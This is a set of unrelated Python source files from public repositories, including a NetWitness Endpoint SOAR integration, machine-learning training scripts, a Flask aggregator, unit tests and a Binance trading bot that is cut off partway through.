properties.get('HashSHA256'),\n 'MachineGUID': machine_id\n }\n )\n files.append(\n {\n 'Name': module.get('Name'),\n 'MD5': properties.get('HashMD5'),\n }\n )\n\n entry = {\n 'Type': entryTypes['note'],\n 'Contents': modules,\n 'ContentsFormat': formats['json'],\n 'ReadableContentsFormat': formats['markdown'],\n 'HumanReadable': tableToMarkdown('NetWitness Endpoint - Get Modules', context, MODULE_DATA),\n 'EntryContext': {\n \"NetWitness.Modules(obj.ModuleID==val.ModuleID)\": context,\n \"File(obj.MD5==val.MD5)\": files\n }\n }\n return entry\n\n\ndef get_machine_modules_command():\n args = demisto.args()\n\n machine_id = args.get('machineGUID')\n limit = int(args.get('limit')) if args.get('limit') else math.inf\n if limit < 1:\n raise ValueError(\"Please input valid limit number\")\n # prepare query\n query = {\n 'ModuleName': args.get('moduleName'), # string\n 'iocscore_gte': int(args.get('iocScoreGreaterThan')) if args.get('iocScoreGreaterThan') else None, # int\n 'iocscore_lte': int(args.get('iocScoreLessThan')) if args.get('iocScoreLessThan') else None # int\n }\n\n entry = create_modules_entry(\n machine_id,\n query,\n limit\n )\n demisto.results(entry)\n\n\ndef get_machine_module(machine_guid, moudule_id):\n # GET machines/{Guid}/modules/{Id}\n response = http_request(\n 'GET',\n '{}/machines/{}/modules/{}'.format(BASE_PATH, machine_guid, moudule_id),\n )\n return response.get('MachineModulePath')\n\n\ndef get_machine_module_command():\n args = demisto.args()\n machine_id = args.get('machineGUID')\n\n module = get_machine_module(\n machine_id,\n args.get('moduleID')\n )\n\n file = {\n 'Name': module.get('Name'),\n 'MD5': module.get('HashMD5'),\n 'SHA1': module.get('SHA1'),\n 'Path': module.get('FullPath')\n }\n readable = {k: v for k, v in module.items() if k in MODULE_DATA_EXTENDED}\n context = {k: v for k, v in module.items() if k in MODULE_DATA_EXTENDED_CONTEXT}\n context['MachineGUID'] = machine_id\n entry = {\n 'Type': entryTypes['note'],\n 'Contents': module,\n 'ContentsFormat': formats['json'],\n 'ReadableContentsFormat': formats['markdown'],\n 'HumanReadable': tableToMarkdown('NetWitness Endpoint - Get Module', readable, MODULE_DATA_EXTENDED),\n 'EntryContext': {\n \"NetWitness.Modules(obj.ModuleID==val.ModuleID)\": context,\n \"File(obj.MD5==val.MD5)\": file\n }\n }\n demisto.results(entry)\n\n\ndef blacklist_ips(ips):\n # POST /blacklist/ip\n body = {\n 'Ips': ips\n }\n response = http_request(\n 'POST',\n '{}/blacklist/ip'.format(BASE_PATH),\n data=body\n\n )\n return response.get('Ips')\n\n\ndef blacklist_domains(domains):\n # POST /blacklist/domain\n body = {\n 'Domains': domains\n }\n response = http_request(\n 'POST',\n '{}/blacklist/domain'.format(BASE_PATH),\n data=body\n\n )\n return response.get('Domains')\n\n\ndef blacklist_ips_command():\n ips = demisto.args().get('ips').split(',')\n\n ips_successfully_blacklisted = blacklist_ips(ips)\n\n ips_failed = [ip for ip in ips if ip not in ips_successfully_blacklisted]\n readable = tableToMarkdown('IPs Successfully Blacklisted', ips_successfully_blacklisted, headers=[\"IP\"])\n if len(ips_failed) > 0:\n readable += tableToMarkdown('The following IPs could not be processed', ips_failed, headers=[\"IP\"])\n\n entry = {\n 'Type': entryTypes['note'],\n 'Contents': ips_successfully_blacklisted,\n 'ContentsFormat': formats['json'],\n 'ReadableContentsFormat': formats['markdown'],\n 'HumanReadable': readable,\n 'EntryContext': {\n \"NetWitness.Blacklist.IPs\": ips_successfully_blacklisted,\n }\n }\n demisto.results(entry)\n\n\ndef blacklist_domains_command():\n args = demisto.args()\n domains = args.get('domains').split(',')\n\n domains_successfully_blacklisted = blacklist_domains(domains)\n\n domains_failed = [domain for domain in domains if domain not in domains_successfully_blacklisted]\n readable = tableToMarkdown('Domains Successfully Blacklisted', domains_successfully_blacklisted, headers=[\"Domain\"])\n if len(domains_failed) > 0:\n readable += tableToMarkdown('The following domains could not be processed', domains_failed, headers=[\"Domain\"])\n\n entry = {\n 'Type': entryTypes['note'],\n 'Contents': domains_successfully_blacklisted,\n 'ContentsFormat': formats['json'],\n 'ReadableContentsFormat': formats['markdown'],\n 'HumanReadable': readable,\n 'EntryContext': {\n \"NetWitness.Blacklist.Domains\": domains_successfully_blacklisted,\n }\n }\n demisto.results(entry)\n\n\n\"\"\"\n\nEXECUTION\n\n\"\"\"\n\n\ndef main():\n try:\n\n login()\n command = demisto.command()\n\n if command == 'test-module':\n # validated credentials with login call\n # test permission - call get_machines\n get_machines({}, 1)\n demisto.results('ok')\n elif command == 'netwitness-get-machines':\n get_machines_command()\n elif command == 'netwitness-get-machine':\n get_machine_command()\n elif command == 'netwitness-get-machine-iocs':\n list_iocs_command()\n elif command == 'netwitness-get-machine-modules':\n get_machine_modules_command()\n elif command == 'netwitness-get-machine-module':\n get_machine_module_command()\n elif command == 'netwitness-blacklist-ips':\n blacklist_ips_command()\n elif command == 'netwitness-blacklist-domains':\n blacklist_domains_command()\n\n except ValueError as e:\n LOG(e)\n LOG.print_log()\n return_error(e)\n\n\nif __name__ in ('__main__', '__builtin__', 'builtins'):\n main()\n","repo_name":"demisto/content","sub_path":"Packs/RSANetWitnessEndpoint/Integrations/RSANetWitnessEndpoint/RSANetWitnessEndpoint.py","file_name":"RSANetWitnessEndpoint.py","file_ext":"py","file_size_in_byte":21250,"program_lang":"python","lang":"en","doc_type":"code","stars":1023,"dataset":"github-code","pt":"50"} +{"seq_id":"12523678279","text":"from keras.preprocessing.image import ImageDataGenerator\nfrom keras.models import Sequential\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras.layers import Activation, Dropout, Flatten, Dense, BatchNormalization\nfrom keras import backend as K\nfrom keras import regularizers, optimizers\nfrom keras.utils import plot_model\nimport cv2\n\n# dimensions of our images.\nimg_width, img_height = 224, 224\n\n# uncomment below when the data is ready at the directed folders --\n# train_data_dir = \"train/\"\n# validation_data_dir = \"val/\"\n# test_data_dir = \"test/\"\n\nnb_train_samples = 5237\nnb_validation_samples = 1747\nepochs = 100\nbatch_size = 64\n\nif K.image_data_format() == \"channels_first\":\n input_shape = (1, img_width, img_height)\nelse:\n input_shape = (img_width, img_height, 1)\n\nmodel = Sequential()\n\nmodel.add(Conv2D(32, (7,7), input_shape = input_shape))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2)))\n\nmodel.add(Conv2D(32, (3,3)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2)))\n \nmodel.add(Conv2D(64, (3,3)))\nmodel.add(Activation('relu'))\n\nmodel.add(Dropout(0.1))\nmodel.add(MaxPooling2D(pool_size=(2,2)))\n\nmodel.add(Flatten())\n\nmodel.add(Dense(64))\nmodel.add(Activation('relu'))\nmodel.add(Dropout(0.4))\n\nmodel.add(Dense(4))\nmodel.add(Activation('softmax'))\n\n# Uncomment to load previous weights\n# model.load_weights(\"previous_weights.h5\")\n\nsgd = optimizers.SGD(lr=0.01, decay=0.0001, momentum=0.9, nesterov=False)\n\nmodel.compile(loss = \"categorical_crossentropy\",\n optimizer = \"adam\",\n metrics = [\"accuracy\"])\n\ntrain_datagen = ImageDataGenerator(rescale = 1. / 255, zoom_range = 0.3)\n\ntest_datagen = ImageDataGenerator(rescale = 1. / 255)\n\ntrain_generator = train_datagen.flow_from_directory(\n train_data_dir,\n target_size=(img_width, img_height),\n batch_size=batch_size,\n class_mode = \"categorical\",\n color_mode = \"grayscale\")\n\nvalidation_generator = test_datagen.flow_from_directory(\n validation_data_dir,\n target_size=(img_width, img_height),\n batch_size=batch_size,\n class_mode=\"categorical\",\n color_mode = \"grayscale\")\n\ntest_generator = test_datagen.flow_from_directory(\n test_data_dir,\n target_size=(img_width, img_height),\n batch_size=batch_size,\n class_mode = \"categorical\",\n color_mode = \"grayscale\")\n\n\nmodel.fit_generator(\n train_generator,\n steps_per_epoch = nb_train_samples // batch_size,\n epochs = epochs,\n validation_data=validation_generator,\n validation_steps=nb_validation_samples // batch_size)\n\nprint(train_generator.class_indices)\n\nprediction = model.evaluate_generator(test_generator, verbose=1)\nprint(model.metrics_names)\nprint(\"Loss: \" + str(prediction[0]))\nprint(\"Accuracy \" + str(prediction[1]))\n\n# plot_model(model, to_file='model.png')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"dorukcakmakci/Chest-X-Ray-Disease-Detection","sub_path":"src/CNN/cnn-train.py","file_name":"cnn-train.py","file_ext":"py","file_size_in_byte":2821,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"17432909444","text":"import sys\nimport pandas as pd\nimport numpy as np\nimport nltk\nimport re\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\nfrom sqlalchemy import create_engine\nfrom sklearn.multioutput import MultiOutputClassifier\nfrom nltk.stem.wordnet import WordNetLemmatizer\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.feature_extraction.text import CountVectorizer,TfidfTransformer\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.model_selection import train_test_split,GridSearchCV\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.externals import joblib\nfrom sklearn.metrics import classification_report\n\n\n\n\nnltk.download('punkt')\nnltk.download('stopwords')\nnltk.download('wordnet')\n\n\n\ndef load_data(database_filepath):\n '''load data from sql table and return X, y'''\n engine = create_engine('sqlite:///clean_data.db')\n df = pd.read_sql_table('clean_data',engine)\n cat_name = df.columns[4:].tolist()\n X = df['message'].values \n y = df[cat_name].values\n \n return X, y, cat_name\n \n\n\ndef tokenize(text):\n '''Preprocess text data and return clean token'''\n # initial lemmatize and stopwords\n clean_token = token = []\n stop_word = stopwords.words('english')\n le = WordNetLemmatizer().lemmatize\n # normalize, remove punctuation and tokenize\n for t in text:\n token = word_tokenize(re.sub(r\"[^a-zA-Z0-9]\", \" \" ,t.lower()))\n \n for tok in token:\n if tok not in stop_word:\n clean_token.append(le(tok).lower())\n \n return clean_token\n \n \n\n\ndef build_model():\n '''create a model pipeline'''\n pipeline = Pipeline([\n ('vect',CountVectorizer(tokenizer=tokenize)),\n ('tfidf',TfidfTransformer()),\n ('clf',MultiOutputClassifier(MLPClassifier(),n_jobs=-1))\n ])\n \n # use gridsearch to find better parameters\n parameters = {'vect__max_df': (0.5, 1.0)}\n cv = GridSearchCV(pipeline, param_grid=parameters,n_jobs=-1,cv=2)\n\n return cv\n \n\n\ndef evaluate_model(model, X_test, Y_test, category_names):\n '''Predict X_test use trained model and evaluate by some metrics'''\n # get prediction\n y_pred = model.predict(X_test)\n # evaluate category by category\n accuracy_avg = 0\n for i in range(y_pred.shape[1]):\n accuracy = accuracy_score(Y_test[:,i],y_pred[:,i])\n accuracy_avg += accuracy\n print('Accuracy of {} is {}'.format(i+1,accuracy))\n print(classification_report(Y_test[:,i],y_pred[:,i]))\n \n print('Average Accuracy for 36 categories is {}'.format(accuracy_avg/36))\n \n \n\n\ndef save_model(model, model_filepath):\n joblib.dump(model,model_filepath)\n\n\ndef main():\n if len(sys.argv) == 3:\n database_filepath, model_filepath = sys.argv[1:]\n print('Loading data...\\n DATABASE: {}'.format(database_filepath))\n X, Y, category_names = load_data(database_filepath)\n X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2)\n \n print('Building model...')\n model = build_model()\n \n print('Training model...')\n model.fit(X_train, Y_train)\n \n print('Evaluating model...')\n evaluate_model(model, X_test, Y_test, category_names)\n\n print('Saving model...\\n MODEL: {}'.format(model_filepath))\n save_model(model, model_filepath)\n\n print('Trained model saved!')\n\n else:\n print('Please provide the filepath of the disaster messages database '\\\n 'as the first argument and the filepath of the pickle file to '\\\n 'save the model to as the second argument. \\n\\nExample: python '\\\n 'train_classifier.py ../data/DisasterResponse.db classifier.pkl')\n\n\nif __name__ == '__main__':\n main()","repo_name":"casper5300/Disaster-Response","sub_path":"models/train_classifier.py","file_name":"train_classifier.py","file_ext":"py","file_size_in_byte":3908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"34884943499","text":"class Solution:\n def getRow(self, rowIndex: int) -> List[int]:\n out = [1]\n for i in range(1, rowIndex + 1):\n ietm = out[i - 1] * (rowIndex - i + 1) / i\n out.append(int(ietm))\n\n return out\n\n\"\"\"\nn行m列 =Cnm\nCnm =cnm-1*(n-m+1)/m\n\"\"\"\n","repo_name":"Dong98-code/leetcode","sub_path":"codes/leetcode_problems/119.杨辉三角2.py","file_name":"119.杨辉三角2.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"40430835685","text":"import grequests\nimport json\nfrom flask import Blueprint, jsonify\nfrom flask_restful import Api, Resource\n\nhotels_blueprint = Blueprint(\n 'hotels',\n __name__\n)\n\nhotels_api = Api(hotels_blueprint)\n\n@hotels_api.resource('/search')\nclass SearchAPI(Resource):\n def get(self):\n\n merged = []\n urls = ['expedia', 'orbitz', 'priceline', 'travelocity', 'hilton']\n response_shells = [grequests.get('http://localhost:9000/scrapers/'+ u) for u in urls]\n responses = grequests.map(response_shells)\n results = [json.loads(response.content)['results'] for response in responses]\n\n while len(results) > 0:\n # Getting current min from each result\n current_mins = [result[-1]['ecstasy'] for result in results]\n # Getting the index of the min of the current mins\n min_index = current_mins.index(min(current_mins))\n # Adding min to merged list\n merged.append(results[min_index][-1])\n # Removing the merged min\n results[min_index].pop()\n # If that results list is now empty, remove it\n if len(results[min_index]) == 0:\n results.pop(min_index)\n \n # The list will be in reverse because we push()'ed the min vals\n merged.reverse()\n\n return jsonify({'results': merged})\n","repo_name":"aricWL/hipmunk","sub_path":"project/hotels/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"16368024487","text":"from app import app\nfrom unittest import TestCase\nfrom models import db, User, Post, Add_seed_posts, Add_seed_users, Delete_tables, DEFAULT_IMG\n\napp.config['SQLALCHEMY_DATABASE_URI']='postgresql:///test_blogly_db'\napp.config['TESTING']=True # Turns errors into real Python errors\napp.config['DEBUG_TB_HOSTS']=['dont-show-debug-toolbar'] # Avoid html of the debug toolbar\n\ndb.drop_all()\ndb.create_all()\n\n\n\nclass converterTestCase(TestCase):\n\n def setUp(self):\n \"\"\"Populate tables with data\"\"\"\n Add_seed_users()\n Add_seed_posts()\n def tearDown(self):\n \"\"\"Empty all tables and reset session\"\"\"\n db.session.rollback()\n Delete_tables()\n\n def test_home(self):\n \"\"\"Tests for status code and html content of response obtained by requesting to the root\"\"\"\n with app.test_client() as client:\n home = client.get(\"/\")\n html = home.get_data(as_text = True)\n self.assertIn(\"

Welcome to Peter's social network!

\", html)\n self.assertEqual(home.status_code, 200)\n\n def test_new_user(self):\n \"\"\"Tests for status code and html content of response obtained by requesting to make a new user\"\"\"\n with app.test_client() as client:\n res = client.get(\"/users/new\") \n html = res.get_data(as_text = True)\n self.assertIn(\"

New user form.

\", html)\n self.assertEqual(res.status_code, 200)\n\n def test_redirect_new_post(self):\n with app.test_client() as client:\n res=client.post(\"/users/2/posts/new\", data={'title':'new title2', 'content':'new content2'})\n self.assertEqual(res.location, 'http://localhost/users/2')\n self.assertEqual(Post.query.get(4).title, 'new title2')\n \n# def test_redirect_new_user(self):\n# with app.test_client() as client:\n# res=client.post(\"/users/new\", data={'first_name':'Peter', 'last_name':'Bailish', 'image_url':DEFAULT_IMG})\n# self.assertEqual(res.location, 'http://localhost/users/4')\n ","repo_name":"petermoyano/flask-blogly","sub_path":"test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":2051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"13485428594","text":"\n# Pins for Motor Control\n\n# Enabler pin A and B of the L293D motor\n\n# Motor #1, PWM Pin 29\nENA_PIN = 29\n# Motor #2, PWM Pin 31\nENB_PIN = 31\n\n# Pin 11 and 12 allow us to control the direction of the Motor 1\nIN1 = 11\nIN2 = 12\n\n# Pin 13 and 15 allow us to control the direction of the Motor 1\nIN3 = 13\nIN4 = 15\n\n# Pins used to configure the UltraSonic Sensor on the right side of the robot\nTRIG_PIN_A = 16\nECHO_PIN_A = 18\n\n# Pins used to configure the UltraSonic Sensor on the Left side of the robot\nTRIG_PIN_B = 38\nECHO_PIN_B = 40\n\n# Pins used to configure the UltraSonic Sensor on the Front side of the robot\nTRIG_PIN_C = 35\nECHO_PIN_C = 37\n\n# Pin that reads from the IR sensor to tell us whether an obstacle is present or not\nIR_PIN = 21\n","repo_name":"Ayman-tron/Autonomous-Search-and-Rescue-Robot","sub_path":"definitions.py","file_name":"definitions.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"40434071857","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('things', '0008_taker_email_sent'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='thing',\n name='gone',\n field=models.BooleanField(default=False),\n preserve_default=True,\n ),\n ]\n","repo_name":"asendecka/move-out","sub_path":"things/migrations/0009_thing_gone.py","file_name":"0009_thing_gone.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"6753426521","text":"\nfrom torch.optim import Adam\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport torch\nfrom torch.utils.data import Dataset\nfrom torch.utils.data.sampler import SubsetRandomSampler\nimport time\nfrom torchvision import transforms\nfrom torchvision.datasets import ImageFolder\nimport numpy as np\nfrom matplotlib.pyplot import plot, ion, show, draw, pause, figure\nfrom PIL import Image\n\n\nclass _DetectHandNet(nn.Module):\n def __init__(self, nb_class):\n super(_DetectHandNet, self).__init__()\n self.C1 = nn.Conv2d(1, 32, kernel_size=3, padding=1, stride=2)\n self.B1 = nn.BatchNorm2d(32)\n self.C2 = nn.Conv2d(32, 64, kernel_size=3, padding=1)\n self.B2 = nn.BatchNorm2d(64)\n self.C3 = nn.Conv2d(64, 64, kernel_size=3, padding=1)\n self.B3 = nn.BatchNorm2d(64)\n self.C4 = nn.Conv2d(64, 64, kernel_size=3, padding=1)\n self.B4 = nn.BatchNorm2d(64)\n self.C5 = nn.Conv2d(64, 64, kernel_size=3, padding=1)\n self.B5 = nn.BatchNorm2d(64)\n self.L1 = nn.Linear(64, 64*2)\n self.L2 = nn.Linear(64*2, 64*2)\n self.L3 = nn.Linear(64*2, nb_class)\n self.drop = nn.Dropout(p=0.6)\n self.Sig = nn.Sigmoid()\n\n def conv_forward(self, x):\n conv_batch_relu1 = F.relu(self.B1(self.C1(x)))\n conv_batch_relu2 = F.relu(self.B2(self.C2(conv_batch_relu1)))\n conv_batch_relu3 = F.relu(self.B3(self.C3(conv_batch_relu2)))\n conv_batch_relu4 = F.relu(self.B4(self.C4(conv_batch_relu3)))\n return F.relu(self.B5(self.C5(conv_batch_relu4)))\n\n def forward(self, x):\n y = self.conv_forward(x)\n y = y.view(y.size()[0], y.size()[1], -1).mean(dim=2)\n y = F.relu((self.L1(y)))\n y = self.drop(y)\n y = F.relu((self.L2(y)))\n y = self.drop(y)\n return torch.sigmoid((self.L3(y)))\n\n\nclass DetectHandPerceptron():\n def __init__(self, nb_classes, path):\n transform_train = transforms.Compose([transforms.RandomRotation(\n 20, resample=Image.BILINEAR),\n transforms.ToTensor()])\n self.nb_classes = nb_classes\n self.dataset = ImageFolder(\n root=path, transform=transform_train)\n print(len(self.dataset.imgs))\n self.model = _DetectHandNet(nb_classes)\n\n def getDicClasses(self):\n return self.dataset.class_to_idx\n\n def train(self, batch_size=256, epoch=50, lr=0.01):\n self._indices = list(range(len(self.dataset.imgs)))\n self._train_idx = np.random.choice(self._indices, size=int(\n np.floor(0.9*len(self._indices))), replace=False)\n\n self._test_idx = list(set(self._indices) - set(self._train_idx))\n\n self._train_sampler = SubsetRandomSampler(self._train_idx)\n self._test_sampler = SubsetRandomSampler(self._test_idx)\n self.train_loader =\\\n torch.utils.data.DataLoader(self.dataset, batch_size=batch_size,\n sampler=self._train_sampler)\n self.test_loader =\\\n torch.utils.data.DataLoader(self.dataset, batch_size=batch_size,\n sampler=self._test_sampler)\n self.model.train()\n optimizer = Adam(self.model.parameters(), lr=lr)\n criterion = nn.BCELoss(reduction='sum')\n plop, plop2 = [], []\n ion()\n for i_epoch in range(epoch):\n start_time, train_losses = time.time(), []\n for i_batch, batch in enumerate(self.train_loader):\n images, targets = batch\n\n new_label = torch.zeros(targets.size()[0], self.nb_classes)\n for i in range(targets.size()[0]):\n new_label[i][targets[i]] = 1\n\n # images.clone().detach().requires_grad_(True)\n optimizer.zero_grad()\n predictions = self.model(images)\n loss = criterion(predictions, new_label)/(\n self.nb_classes*len(targets))\n loss.backward()\n optimizer.step()\n train_losses.append(loss.item())\n print(f\"{i_batch} LOSS => {loss.item()}\")\n plop.append(np.mean(train_losses))\n test_losses = []\n self.model.eval()\n for batch_test in self.test_loader:\n images_test, targets_test = batch_test\n\n new_label_test = torch.zeros(\n targets_test.size()[0], self.nb_classes)\n for i in range(targets_test.size()[0]):\n new_label_test[i][targets_test[i]] = 1\n\n # images_test.clone().detach().requires_grad_(False)\n predictions_test = self.model(images_test)\n loss_test = criterion(\n predictions_test, new_label_test)/(\n self.nb_classes*len(targets_test))\n test_losses.append(loss_test.item())\n plop2.append(np.mean(test_losses))\n self.model.train()\n\n print(' [-] epoch {:4}/{:}, train loss {:.6f} in {:.2f}s'.format(\n i_epoch+1, epoch, np.mean(train_losses),\n time.time()-start_time))\n print(' [-] epoch {:4}/{:}, test loss {:.6f}'.format(\n i_epoch+1, epoch, np.mean(test_losses)))\n self.save(path=f\"./Backup/DetectHand2_{str(i_epoch)}.pt\")\n plot(plop)\n plot(plop2)\n draw()\n pause(0.001)\n figure()\n plot(plop)\n plot(plop2)\n show()\n\n def predict(self, image_in_numpy):\n img = torch.from_numpy(image_in_numpy).double()\n img = img.view(1, 1, img.size()[0], img.size()[1])\n img = Variable(img).float()\n return self.model(img)\n\n def getDicoClasse(self):\n return dict((v, k) for k, v in self.dataset.class_to_idx.items())\n\n def score(self):\n accuracy = 0\n for i, batch in enumerate(self.test_loader):\n pred, targets = batch\n pred = Variable(torch.FloatTensor(pred), requires_grad=False)\n predictions = self.model.forward(pred)\n accuracy += torch.where(targets+0.1 > predictions > targets-0.1,\n torch.tensor([1.0]),\n torch.tensor([0.0]))\n print(\"Score Pcm : \", accuracy/i)\n return accuracy/i\n\n def save(self, path='./Backup/DetectHandNet.pt'):\n torch.save(self.model.state_dict(), path)\n\n def load(self, path='./Backup/DetectHandNet.pt'):\n self.model.load_state_dict(torch.load(path))\n","repo_name":"ierezell/ProjetVision","sub_path":"Classique/DetectClass.py","file_name":"DetectClass.py","file_ext":"py","file_size_in_byte":6592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37510173756","text":"\"\"\"Unit tests for file utils.\n\"\"\"\nfrom datetime import datetime\n\nimport os\nimport unittest\nimport pandas as pd\n\nfrom stock_trading_backend.util import read_config_file, FileSourceType, read_manifest_file\nfrom stock_trading_backend.util import read_csv_file, write_csv_file, write_manifest_file\nfrom stock_trading_backend.util import load_torch_model, save_torch_model\nfrom stock_trading_backend.agent import PolynomialModel\n\n\nclass TestFileUtilsData(unittest.TestCase):\n \"\"\"Unit tests for file utils.\n \"\"\"\n def test_config_reader(self):\n \"\"\"Unit test for config reader.\n \"\"\"\n config = read_config_file(\"test/test_config.yaml\")\n self.assertEqual(type({}), type(config))\n self.assertIn(\"test\", config)\n self.assertEqual(\"test\", config[\"test\"])\n\n def test_not_implemented(self):\n \"\"\"Test not-implemented features.\n \"\"\"\n with self.assertRaises(NotImplementedError):\n _ = read_config_file(\"test/test_config.yaml\", FileSourceType.aws)\n\n with self.assertRaises(NotImplementedError):\n _ = read_manifest_file(\"data/test/test_manifest.json\", FileSourceType.aws)\n\n with self.assertRaises(NotImplementedError):\n write_manifest_file({}, \"data/test/test_manifest.json\", FileSourceType.aws)\n\n with self.assertRaises(NotImplementedError):\n _ = read_csv_file(\"data/test/test.csv\", FileSourceType.aws)\n\n with self.assertRaises(NotImplementedError):\n write_csv_file(None, \"data/test/test.csv\", FileSourceType.aws)\n\n with self.assertRaises(NotImplementedError):\n _ = load_torch_model(\"data/test/test.pkl\", FileSourceType.aws)\n\n with self.assertRaises(NotImplementedError):\n save_torch_model(None, \"data/test/test.pkl\", FileSourceType.aws)\n\n def test_read_manifest(self):\n \"\"\"Test for manifest reader.\n \"\"\"\n manifest = read_manifest_file(\"data/test/test_manifest.json\")\n self.assertEqual(type({}), type(manifest))\n self.assertIn(\"stock\", manifest)\n self.assertEqual(\"test\", manifest[\"stock\"])\n\n def test_read_new_manifest(self):\n \"\"\"Test for manifest reader for non-existent manifest.\n \"\"\"\n manifest = read_manifest_file(\"data/test/non_existent.json\")\n self.assertEqual(type({}), type(manifest))\n self.assertEqual(0, len(manifest))\n\n def test_manifest_works_with_dates(self):\n \"\"\"Test for manifest reader and writer for dates.\n \"\"\"\n file_path = \"data/test/write_test.json\"\n date = datetime(2015, 1, 1)\n manifest = {\"stock_date\": date}\n write_manifest_file(manifest, file_path)\n manifest = read_manifest_file(file_path)\n os.remove(file_path)\n self.assertIn(\"stock_date\", manifest)\n self.assertEqual(date, manifest[\"stock_date\"])\n\n def test_write_new_manifest(self):\n \"\"\"Test for manifest writer for non-existent manifest.\n \"\"\"\n file_path = \"data/test/write_test.json\"\n manifest = {\"stock\": \"write_test\"}\n write_manifest_file(manifest, file_path)\n manifest = read_manifest_file(file_path)\n os.remove(file_path)\n self.assertIn(\"stock\", manifest)\n self.assertEqual(\"write_test\", manifest[\"stock\"])\n\n def test_read_csv_file(self):\n \"\"\"Test for csv reader.\n \"\"\"\n data_frame = read_csv_file(\"data/test/test.csv\")\n self.assertIsInstance(data_frame, pd.DataFrame)\n self.assertEqual(\"test\", data_frame.loc[0].item())\n\n def test_write_csv_file(self):\n \"\"\"Test for csv reader.\n \"\"\"\n file_path = \"data/test/write_test.json\"\n data_frame = pd.DataFrame([\"write_test\"])\n write_csv_file(data_frame, file_path)\n data_frame = read_csv_file(file_path)\n os.remove(file_path)\n self.assertIsInstance(data_frame, pd.DataFrame)\n self.assertEqual(\"write_test\", data_frame.loc[0].item())\n","repo_name":"iryzhkov/stock-trading-backend","sub_path":"tests/util/test_file.py","file_name":"test_file.py","file_ext":"py","file_size_in_byte":3960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"15511859390","text":"import websocket, json, numpy, talib, config, pprint, dateparser, binance\r\nfrom binance.enums import *\r\nfrom binance.client import Client\r\nimport datetime\r\nimport os\r\n\r\n##### GLOBAL\r\n\r\nMA = 21\r\nTRADE_QUANTITY = 0.12\r\nTRADE_SYMBOL = \"BNBBUSD\"\r\nSOCKET = \"wss://stream.binance.com:9443/ws/bnbbusd@kline_1m\"\r\nORDER_TYPE_MARKET = 'MARKET'\r\nBUFFER = 0.0005\r\nBUDGET = 0\r\nWIN = []\r\n\r\nLOG_FILE_NAME = \"logfile-200-5.txt\"\r\n\r\nif os.name == 'nt':\r\n import winsound\r\n\r\n WIN.append(True)\r\nelse:\r\n WIN.append(False)\r\n\r\n### KEYS\r\n\r\nclient = Client(config.API_KEY, config.API_SECRET)\r\n\r\n# Init budget\r\nbudget = []\r\nbudget.append(BUDGET)\r\n\r\n# Init buffers\r\nbuffer_up = 1 + BUFFER\r\nbuffer_down = 1 - BUFFER\r\n\r\nprint(\"Buffer up = %f\" % buffer_up)\r\nprint(\"Buffer down = %f\" % buffer_down)\r\nprint(\"Budget: %f\" % BUDGET)\r\n\r\n# Init past minutes prices back \r\nprices = []\r\n\r\ngo_back = '%d min ago UTC' % (MA)\r\nstart = str(dateparser.parse(go_back))\r\nend = str(dateparser.parse('now'))\r\n\r\ncandlesticks = client.get_historical_klines(TRADE_SYMBOL, Client.KLINE_INTERVAL_1MINUTE, start, end)\r\n\r\nfor candlestick in candlesticks:\r\n prices.append(float(candlestick[4]))\r\nprint(prices)\r\n\r\n# Log file\r\nlogfile = open(LOG_FILE_NAME, 'w')\r\n_ma = str(MA)\r\n_buffer = str(BUFFER)\r\nlogfile.write(\" There we Go!! COIN: %s MA= %s BUFFER= %s\" % (TRADE_SYMBOL, _ma, _buffer))\r\nlogfile.write(\"\\n\")\r\nlogfile.close()\r\n\r\n# Init transactions\r\n\r\ntransactions = []\r\n\r\n\r\n# TODO - What did Dean mean to do here?\r\ndef addTransaction(time, side, symbol, ex_amount, avarage_price):\r\n trans = trans.append(time, side, symbol, ex_amount, avarage_price)\r\n transactions.append(trans)\r\n # logfile.writerow(trans)\r\n return transactions\r\n\r\n\r\n# Orders function\r\ndef order(side, quantity, symbol, order_type=ORDER_TYPE_MARKET):\r\n try:\r\n order = client.create_order(side=side, quantity=quantity, symbol=symbol, type=order_type)\r\n print(\"sending order\")\r\n print(order)\r\n try:\r\n time = time.strftime(\"%Y-%m-%d %H:%M:%S\")\r\n print(\"time: %s BUY/Sell: %s Coin: %s, Amount: %d, Price: %s\" % time, order.side, order.symbol,\r\n order.quoteOrderQty, order.price)\r\n # addTransaction(time, order.side, order.symbol, order.quoteOrderQty, order.price)\r\n\r\n except Exception as e:\r\n print(e.message, \"append Transaction error\")\r\n\r\n except Exception as e:\r\n print(e.message, 